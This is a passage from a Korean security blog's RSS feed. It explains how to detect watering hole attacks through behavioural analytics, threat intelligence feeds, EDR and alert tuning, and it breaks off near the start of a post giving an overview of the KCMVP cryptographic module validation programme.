막습니다. 이러한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;다층적인 네트워크 모니터링&lt;/b&gt;&lt;/span&gt;으로 워터링 홀 공격의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;초기 단계&lt;/b&gt;&lt;/span&gt;(악성 사이트 접속 및 페이로드 전송)를 효과적으로 탐지할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;행위 기반 탐지 (Behavioral Analytics)&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;행위 기반 탐지&lt;/b&gt;&lt;/span&gt;는 사용자와 시스템의 정상 동작 패턴(베이스라인)을 먼저 학습한 뒤, 이와&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;벗어나는 이상 행동&lt;/b&gt;&lt;/span&gt;을 포착함으로써 보안 위협을 발견하는 기법입니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 이는 전통적인 서명 기반 탐지가 놓칠 수 있는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;미확인 공격&lt;/b&gt;&lt;/span&gt;이나&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;내부 이상 행위&lt;/b&gt;&lt;/span&gt;까지 잡아낼 수 있다는 이점이 있습니다. 예를 들어, 워터링 홀 공격 이후 감염된 호스트는 평소와 다른 네트워크 행위(예: 생소한 C2 서버와의 통신, 평소 사용자가 하지 않던 관리자 권한 실행 등)를 보일 수 있는데, 행위 분석 시스템은 이러한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;패턴 이상치&lt;/b&gt;&lt;/span&gt;에 경보를 발생시킵니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;행위 기반 탐지는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;UEBA(User and Entity Behavior Analytics)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;기술로 구현되는 경우가 많으며, 네트워크 트래픽, 사용자 로그인 기록, 프로세스 실행 내역 등 다양한 데이터를 종합적으로 고려합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 예를 들어&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;SIEM 연계 UEBA&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;시스템은 사용자 계정의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;로그인 시도 횟수, 접속 위치 변화, 프로세스 생성 패턴&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등을 분석해 이전에 없던 이상 활동을 탐지합니다. 이러한 접근 방식은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;기존의 정상 패턴을 노이즈로 걸러내고 진짜 위험만 부각&lt;/b&gt;&lt;/span&gt;시켜 보안팀의 경보 피로(alert fatigue)를 줄여주는 효과가 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 실제로 행위 분석을 도입하면 매 접속이나 이벤트마다 경보를 울리던 시스템이&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;실제 위험이 높은 시나리오&lt;/b&gt;&lt;/span&gt;에서만 경고를 발생시키므로,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;오탐을 감소&lt;/b&gt;&lt;/span&gt;시키고 보안 인력은 중요한 알람에 집중할 수 있게 됩니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 다만, 행위 기반 탐지는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;정교한 머신러닝 모델&lt;/b&gt;&lt;/span&gt;과 충분한 정상 행동 데이터가 뒷받침되어야 하며, 설정 초기에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;튜닝&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;기간이 필요할 수 있습니다. 또한 조직의 환경 변화(예: 신규 시스템 도입, 사용자 업무 패턴 변경)에 따라 베이스라인을 지속 조정해야&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;정탐률&lt;/b&gt;&lt;/span&gt;을 유지할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;위협 인텔리전스 연계&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;위협 인텔리전스(Threat Intelligence)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;연계는 전세계적으로 수집된 최신 공격 정보와 IOC(Indicator of Compromise)를 내부 보안 모니터링에 통합하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;능동적인 탐지&lt;/b&gt;&lt;/span&gt;를 가능하게 합니다. 워터링 홀 공격은 종종&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;특정 APT 그룹&lt;/b&gt;&lt;/span&gt;이나 캠페인에 의해 수행되므로,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;공유 정보&lt;/b&gt;&lt;/span&gt;를 활용하면 조기에 징후를 파악할 수 있습니다. 예를 들어,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;외부 TI 피드&lt;/b&gt;&lt;/span&gt;로부터 제공받은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;악성 도메인/IP 목록, 악성 스크립트 해시, 취약점 CVE 정보&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등을 IDS, 프록시, SIEM 등에 연동해두면, 사용자가 해당 IOC와 일치하는 사이트에 접속하거나 유사 페이로드가 포착될 때 즉시 경보를 울릴 수 있습니다. 실제 모범 사례로는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;SIEM&lt;/b&gt;&lt;/span&gt;이나&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;네트워크 모니터링 시스템&lt;/b&gt;&lt;/span&gt;에 TI 피드를 연계하여 수집된 로그와 트래픽을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;알려진 위협 지표와 실시간 대조&lt;/b&gt;&lt;/span&gt;하는 것이 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 이렇게 상관분석(correlation)을 하면 탐지 정확도가 향상되어 잠재적 위협 식별 시 보다 신뢰도 높은 경고를 생성할 수 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;또한 위협 인텔리전스를 통해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;최신 공격 동향과 TTP&lt;/b&gt;&lt;/span&gt;(전술, 기법, 절차)를 파악함으로써 워터링 홀에 악용되는 새로운 기법 (예: 새로운 브라우저 제로데이 익스플로잇 등)에 신속히 대비할 수 있습니다. 예를 들어 TI 리포트에서 특정 웹사이트가 워터링 홀에 당했다고 공유되면, 해당 URL을 프록시 차원에서 차단하거나 관련 IOC를 기반으로 위협 헌팅(threat hunting)을 수행해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;사전 대응&lt;/b&gt;&lt;/span&gt;이 가능합니다. 더불어&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;STIX/TAXII&lt;/b&gt;&lt;/span&gt;와 같은 표준을 통해 CTI 플랫폼(MISP 등)에서 조직 간 위협 정보를 자동 공유하면, 한 곳에서 발견된 워터링 홀 공격 징후가 전체 생태계의 방어력을 높이는 데 기여합니다. 정리하면, 위협 인텔리전스 연계는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;탐지 도구들의 눈과 귀를 넓혀주는 역할&lt;/b&gt;&lt;/span&gt;을 하며, 빠르게 진화하는 워터링 홀 공격에 대해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;선제적이고 지능적인 탐지&lt;/b&gt;&lt;/span&gt;를 가능케 합니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;엔드포인트 보안 솔루션의 역할&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;워터링 홀 공격으로 최종 피해를 입는 지점은 결국 엔드포인트(사용자 PC, 단말)입니다. 따라서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;엔드포인트 보안 솔루션&lt;/b&gt;&lt;/span&gt;은 워터링 홀 공격 탐지/방어의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;최후의 보루&lt;/b&gt;&lt;/span&gt;로서 매우 중요한 역할을 합니다. 엔드포인트 보안에는 전통적인 안티바이러스(AV)부터, 행위 기반의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;EDR(Endpoint Detection and Response)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;및 더 넓은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;XDR(eXtended DR)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;솔루션이 포함됩니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;안티바이러스/안티멀웨어&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;솔루션은 워터링 홀을 통해 떨어진 악성 파일을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;서명 기반으로 검사&lt;/b&gt;&lt;/span&gt;하여 알려진 멀웨어일 경우 즉시 격리하거나 삭제합니다. 또한 일부 차세대 AV는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;머신러닝 모델&lt;/b&gt;&lt;/span&gt;로 파일 특성을 분석해 미확인 멀웨어도 탐지하려 합니다. 그러나&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;브라우저 익스플로잇&lt;/b&gt;&lt;/span&gt;처럼 파일 형태가 아닌 메모리 상의 공격에는 전통적 AV로는 한계가 있습니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;EDR&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;솔루션은 실행 중인 프로세스와 시스템 동작을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;실시간으로 모니터링&lt;/b&gt;&lt;/span&gt;하여, 악성 행위 징후를 보이는 프로세스를 탐지하고 대응합니다. 예를 들어 EDR은 워터링 홀 사이트 방문 직후&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;브라우저 프로세스가 이상한 스크립트를 실행&lt;/b&gt;&lt;/span&gt;한다거나,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;자녀 프로세스로 권한 상승 시도&lt;/b&gt;&lt;/span&gt;를 하는 행위를 포착할 수 있습니다. 실제로 EDR은 메모리 상의 코드 인젝션, 레지스트리Persist 변경, 의심스러운 외부 연결 등&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;멀웨어 관련 이상행동&lt;/b&gt;&lt;/span&gt;을 감지하면 관리 콘솔에 즉시 경보를 올리고 자동 격리 등의 조치를 취합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 이러한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;행위 기반 탐지&lt;/b&gt;&lt;/span&gt;는 워터링 홀처럼 신뢰 프로세스(브라우저)를 통해 이뤄지는 공격에서도, 그&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;이후 단계의 악성 행위&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(예: 시스템 파일 변조, 백도어 설치)를 식별해 피해 확산을 막습니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;엔드포인트 보안 솔루션은 또한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;포렌식 데이터 수집&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;및 대응 자동화 측면에서도 중요한데, 워터링 홀 공격 탐지 시 해당 단말기의 프로세스 트리, 네트워크 로그, 파일 해시 등의 정보를 EDR이 저장하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;사고 조사&lt;/b&gt;&lt;/span&gt;에 활용할 수 있습니다. 더불어 EDR/XDR은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;중앙관리&lt;/b&gt;&lt;/span&gt;를 통해 네트워크 상의 다른 엔드포인트들까지 일괄 검색하여 비슷한 IOC가 있는지 확인하고, 필요하면 해당 단말들도 격리하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;확산 방지&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;조치를 취합니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;정리하면 엔드포인트 보안은 워터링 홀 공격의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;마지막 단계&lt;/b&gt;&lt;/span&gt;(최종 페이로드 실행)를 감지 및 차단하며, 네트워크 및 위협 인텔리전스 층과 연계되어&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;다층 방어 전략&lt;/b&gt;&lt;/span&gt;의 완성을 담당합니다. 특히 최근&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;실행 시점 탐지&lt;/b&gt;&lt;/span&gt;(Execution Prevention)나&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;브라우저 격리 기술&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등이 발전하면서, 워터링 홀로 인한 제로데이 공격도 엔드포인트에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;사전 차단&lt;/b&gt;&lt;/span&gt;하는 사례가 늘고 있습니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;탐지 정확도 향상 및 오탐 감소를 위한 전략&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;다양한 보안 도구를 활용하더라도,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;탐지 정확도&lt;/b&gt;&lt;/span&gt;와&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;오탐(False Positive) 관리&lt;/b&gt;&lt;/span&gt;는 지속적인 과제입니다. 워터링 홀과 같은 정교한 공격을 효과적으로 잡아내면서도&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;정상 트래픽에 대해 불필요한 알람&lt;/b&gt;&lt;/span&gt;이 발생하지 않도록, 다음과 같은 전략이 활용됩니다:&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;시그니처 튜닝 및 업데이트&lt;/b&gt;&lt;/span&gt;: IDS/IPS, AV 등의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;서명DB를 최신 상태로 유지&lt;/b&gt;&lt;/span&gt;하고, 조직 환경에 맞지 않거나 잦은 오탐을 일으키는 서명 규칙은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;세밀하게 튜닝&lt;/b&gt;&lt;/span&gt;합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 예를 들어 일반 업무 트래픽을 공격으로 오인하는 규칙은 제외하거나 임계값을 조정하여 정상행위를 허용합니다. 또한 벤더를 통해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;최신 워터링 홀 공격 IOC&lt;/b&gt;&lt;/span&gt;를 지속적으로 받아 서명 세트를 갱신합니다.&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;멀티레이어 상관분석&lt;/b&gt;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;단일 신호에 의존한 경보&lt;/b&gt;&lt;/span&gt;는 오탐 가능성이 높으므로, 여러 소스의 정보를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;통합 분석&lt;/b&gt;&lt;/span&gt;합니다. 예를 들어,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;네트워크 IDS 경보 + 엔드포인트 EDR 경보 + TI 인텔리전스&lt;/b&gt;&lt;/span&gt;가 함께 나타날 때만 고위험으로 분류하고, 단일 징후만 있을 경우&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;추가 검증 작업&lt;/b&gt;&lt;/span&gt;(예: 샌드박스 분석)을 거치도록 합니다. SIEM의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;룰 기반 상관분석 엔진&lt;/b&gt;&lt;/span&gt;이나 SOAR의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;알람 병합&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;기능을 이용해 중복 경보를 줄이고 의미있는 조합에 집중합니다.&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;머신러닝 및 UEBA 도입&lt;/b&gt;&lt;/span&gt;: 정교한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;머신러닝(ML)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;알고리즘을 탐지에 활용하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;이상치 탐지의 정확도&lt;/b&gt;&lt;/span&gt;를 높입니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. ML 기반 모델은 대량의 정상/비정상 데이터를 학습하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;미묘한 패턴 차이&lt;/b&gt;&lt;/span&gt;로도 위협을 식별하지만, 충분한 데이터와 피드백 루프가 중요합니다. UEBA 시스템의 경우 앞서 언급한 바와 같이 정상 패턴을 학습하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;알람 노이즈를 감소&lt;/b&gt;&lt;/span&gt;시키므로, SOC 팀의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;분석 효율&lt;/b&gt;&lt;/span&gt;을 높여줍니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;적응형 경보 분류 및 필터링&lt;/b&gt;&lt;/span&gt;: 보안 운영시&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;경보의 우선순위&lt;/b&gt;&lt;/span&gt;를 자동 분류하여 진짜 위험도에 따라 대응하는 전략입니다. 예를 들어 위협 수준 점수화(threat scoring)를 통해 각 경보에 점수를 매기고, 일정 점수 미만의 경보는 묶어서 요약하거나 잠정 보류합니다. 또한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;반복적으로 발생하는 동일 유형의 경보는 묶어서 한 건으로 표현&lt;/b&gt;&lt;/span&gt;(flood suppression)함으로써 쓸데없는 중복 알람을 줄입니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 이러한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;적응형 경보 관리&lt;/b&gt;&lt;/span&gt;는 결과적으로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;알람 피로도를 낮추고&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;실제 위협에 집중할 수 있게 합니다.&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;맥락 정보 및 위협 인텔리전스 활용&lt;/b&gt;&lt;/span&gt;: 탐지 경보에 추가 정보(enrichment)를 붙여 분석에 도움이 되도록 합니다. 예를 들어, IDS가 특정 IP의 이상 트래픽을 탐지했다면, TI로부터 그 IP의 악성 평판 정보를 조회하여 제공하거나, EDR 경보에 해당 프로세스의 알려진 악성 여부를 표시합니다. 이러한 맥락 덧붙이기는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;분석가가 오탐 여부를 판단&lt;/b&gt;&lt;/span&gt;하는 데 큰 도움을 주며, 자동화된 룰로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;악성으로 확인된 경보에만 긴급 태그&lt;/b&gt;&lt;/span&gt;를 다는 식으로 정확도를 향상시킵니다.&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;정기적인 검토와 튜닝 프로세스&lt;/b&gt;&lt;/span&gt;: 보안팀은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;정기적으로 탐지 로그를 리뷰&lt;/b&gt;&lt;/span&gt;하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;오탐 사례를 분석&lt;/b&gt;&lt;/span&gt;하고, 탐지 규칙을 조정하는 과정을 거칩니다. 특히 워터링 홀 공격과 같이 드문 이벤트에 대비한 룰이 지나치게 일반 트래픽을 잡아내지 않는지 검증해야 합니다. 내부&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;레드팀 모의공격&lt;/b&gt;&lt;/span&gt;을 통해 워터링 홀 시나리오를 테스트해보고, 탐지 장비들이 적절히 경보를 발생시키는지, 오탐은 없었는지 확인하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;체계적으로 탐지 체계&lt;/b&gt;&lt;/span&gt;를 개선합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이러한 전략을 통해 조직은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;탐지 민감도와 정확도 사이의 균형&lt;/b&gt;&lt;/span&gt;을 맞출 수 있습니다. 요약하면, 기술적 튜닝(서명, ML)과 운영적 절차(상관분석, 경보 관리)를 병행함으로써 워터링 홀과 같은 위협에 대한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;탐지 정확도를 높이고 오탐으로 인한 혼선을 최소화&lt;/b&gt;&lt;/span&gt;할 수 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;.&lt;/p&gt;</description>
      <category>정보보호</category>
      <category>wateringhole</category>
      <category>사이버보안</category>
      <category>워터링홀</category>
      <category>정보보안</category>
      <category>정보보호</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/12</guid>
      <comments>https://defcon.tistory.com/12#entry12comment</comments>
      <pubDate>Tue, 22 Apr 2025 22:39:05 +0900</pubDate>
    </item>
    <item>
      <title>한국암호모듈검증제도 KCMVP 개요</title>
      <link>https://defcon.tistory.com/11</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;KCMVP의 목적 및 개요&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;KCMVP&lt;/b&gt;(Korea Cryptographic Module Validation Program, 한국형 암호모듈 검증 프로그램)는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;국가 정보통신망에서 사용되는 암호모듈의 안전성과 구현 적합성을 검증하는 제도&lt;/b&gt;입니다 ([KISA 암호이용활성화&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;암호모듈검증 - 개요&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;KCMVP&lt;/b&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;(Korea Cryptographic Module Validation Program, 한국형 암호모듈 검증 프로그램)는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;국가 정보통신망에서 사용되는 암호모듈의 안전성과 구현 적합성을 검증하는 제도&lt;/b&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;입니다​&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;. 행정기관 등&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;국가&amp;middot;공공기관에서 소통되거나 저장되는 중요 정보&lt;/b&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;를 보호하기 위해, 해당 정보의 암호화에 사용되는 소프트웨어/하드웨어&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;암호모듈의 보안성을 국가가 인증&lt;/b&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;해주는 것입니다​.&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt; 2009년 제도가 시행된 이후 정부&amp;middot;공공 부문의 각종 보안 제품에 활용될 암호모듈들을 